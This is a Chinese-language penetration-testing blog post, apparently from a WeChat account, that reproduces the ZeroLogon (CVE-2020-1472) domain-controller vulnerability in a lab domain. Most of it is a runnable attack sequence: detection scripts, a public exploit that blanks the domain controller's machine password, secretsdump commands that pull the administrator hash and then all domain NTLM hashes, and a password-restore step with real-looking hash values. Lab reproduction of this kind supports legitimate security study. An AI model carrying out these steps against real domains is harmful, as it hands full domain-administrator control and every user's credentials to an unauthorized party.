【域渗透】- CVE-2020-1472（ZeroLogon）漏洞复现

前言漏洞介绍漏洞复现    0. 环境介绍    1. 漏洞检测（同时获取netbios名）    2. 将域控的机器账号密码置空    3. 还原机器用户密码    4. dump域内hash参考链接

前言

本文不涉及漏洞原理分析，仅调研并使用工具。实战中遇到知道怎么利用该漏洞。

漏洞介绍

NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口，被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器，也用于 NTP 响应认证以及更新计算机域密码。

攻击者只需要定位域控主机名及IP，并且可以访问域控，就可以在无需任何凭据的情况下 (可在域外) 拿到域管理员的权限。

漏洞复现

0. 环境介绍

# 域
god.org

# 域内主机
Windows 7 
192.168.52.143

# 域控
Windows server 2008
192.168.52.138
主机名：owa
netbios名：owa

在Windows 7上将代理开出来，本地脚本利用

1. 漏洞检测（同时获取netbios名）

检测脚本：https://github.com/WiIs0n/Zerologon_CVE-2020-1472

获取netbios名：

nbtstat -A 192.168.52.138

漏洞检测：

python3 check_cve-2020-1472.py --ip 192.168.52.138 --name owa

2. 将域控的机器账号密码置空

exp：https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472-exploit.py owa 192.168.52.138

利用机器用户及空密码先获取域管administrator用户的hash，留作后面使用

python3 secretsdump.py -no-pass god.org/"owa$"@192.168.52.138 -history -just-dc-user administrator

3. 还原机器用户密码

获取旧的机器密码明文hex

python3 secretsdump.py -no-pass god.org/[email protected] -hashes :b19554738bacdd2e54a67d4e1335bb47

这会输出比较多数据，出现如下数据就可中止

利用获得的密码hex还原

python3 restorepassword.py god.org/owa@owa -target-ip 192.168.52.138 -hexpass f733010069c8d921ef4473956561c1aa367b720e51cc64aa2e11aaad3f0b639462120fbbfa10ae2ff93a57f13c7fa3a0faa0baf263f36525a0a1b90082f3c0b32eda13bf043e8e70ebf05bffa22cdfa72f2a58a0b11cc34a2f41843ef1f0334f7b1daba9bb3181644770c39d4f016c3fc41532599e7fb28963f3ed088b85d9b44b1ff548f259e41178531343d1ad7a65225053598d815b58172fde1eddc446001828cd4b28ae8187f745a77c0b28d6bf06fc07376deed1767ebe70676ff9908c96e3dc76a7406a7f0f3a7d65a3037a619b92d1a82930bdbd5595fffd0036912dc1ecd1bd4e28f5eb742a38f0fcd3e7a7

校验是否还原成功：

4. dump域内hash

随后利用之前获取的域管administrator hash来dump域内用户的ntlm hash

python3 secretsdump.py -no-pass god.org/[email protected] -hashes :b19554738bacdd2e54a67d4e1335bb47 -just-dc-ntlm

ntlm hash为31d6cfe0d16ae931b73c59d7e0c089c0就是空密码，如Guest用户。

参考链接

https://atsud0.me/2020/10/24/CVE-2020-1472%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

https://github.com/WiIs0n/Zerologon_CVE-2020-1472

https://github.com/dirkjanm/CVE-2020-1472

https://github.com/Ridter/Intranet_Penetration_Tips#ZeroLogon

原文始发于微信公众号（信安文摘）：【域渗透】- CVE-2020-1472（ZeroLogon）漏洞复现